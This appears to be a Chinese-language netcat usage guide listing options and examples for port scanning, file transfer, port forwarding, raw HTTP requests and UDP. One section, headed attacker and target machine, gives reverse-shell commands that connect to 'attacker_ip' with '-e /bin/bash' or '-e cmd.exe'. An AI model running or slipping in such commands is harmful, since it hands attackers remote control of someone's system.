Netcat(通常简写为 nc)是一个功能强大的网络工具,可以用于:
nc [选项] [主机名] [端口]
| 选项 | 说明 |
|---|---|
-h |
显示帮助信息 |
-l |
监听模式,用于入站连接 |
-p port |
指定本地端口号 |
-u |
使用 UDP 协议(默认是 TCP) |
-v / -vv |
详细输出 / 更详细的输出 |
-z |
零 I/O 模式(用于扫描) |
-n |
不使用 DNS 解析,只使用 IP |
-w seconds |
连接超时时间 |
-k |
保持监听模式(接受多个连接) |
使用 netcat 进行简单的端口扫描:
# 扫描单个端口
nc -zv example.com 80
# 扫描端口范围
nc -zv example.com 80-100
# 扫描特定端口列表
nc -zv example.com 22 80 443
服务器端(监听):
nc -l -p 1234
客户端(连接):
nc localhost 1234
发送文件(接收端):
# 在接收端启动监听
nc -l -p 1234 > received_file.txt
发送文件(发送端):
# 发送文件到接收端
nc -w 3 receiver_ip 1234 < file_to_send.txt
# 接收端
nc -l -p 1234 | tar xzvf -
# 发送端
tar czvf - /path/to/directory | nc -w 3 receiver_ip 1234
攻击机(监听):
nc -lvp 4444
目标机(连接):
# Linux
nc attacker_ip 4444 -e /bin/bash
# Windows
nc attacker_ip 4444 -e cmd.exe
# 将本地端口 8080 转发到 example.com 的 80 端口
mkfifo /tmp/fifo
cat /tmp/fifo | nc example.com 80 | nc -l -p 8080 > /tmp/fifo
# 手动发送 HTTP GET 请求
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
# 获取 HTTP 响应头
echo -e "HEAD / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n" | nc example.com 80
# 创建 UDP 服务器
nc -ul -p 9999
# 连接 UDP 服务器
nc -u server_ip 9999
# 允许接受多个连接
nc -klvp 1234
# 设置连接超时为 5 秒
nc -w 5 example.com 80
| 版本 | 特点 |
|---|---|
| 传统 netcat | 原始版本,功能基础 |
| GNU netcat | GNU 版本,支持更多功能 |
| OpenBSD netcat | 安全增强版本,支持 IPv6 |
| Ncat | Nmap 项目的一部分,功能最强大 |
nc -h 查看完整帮助信息-z 选项可以减少网络流量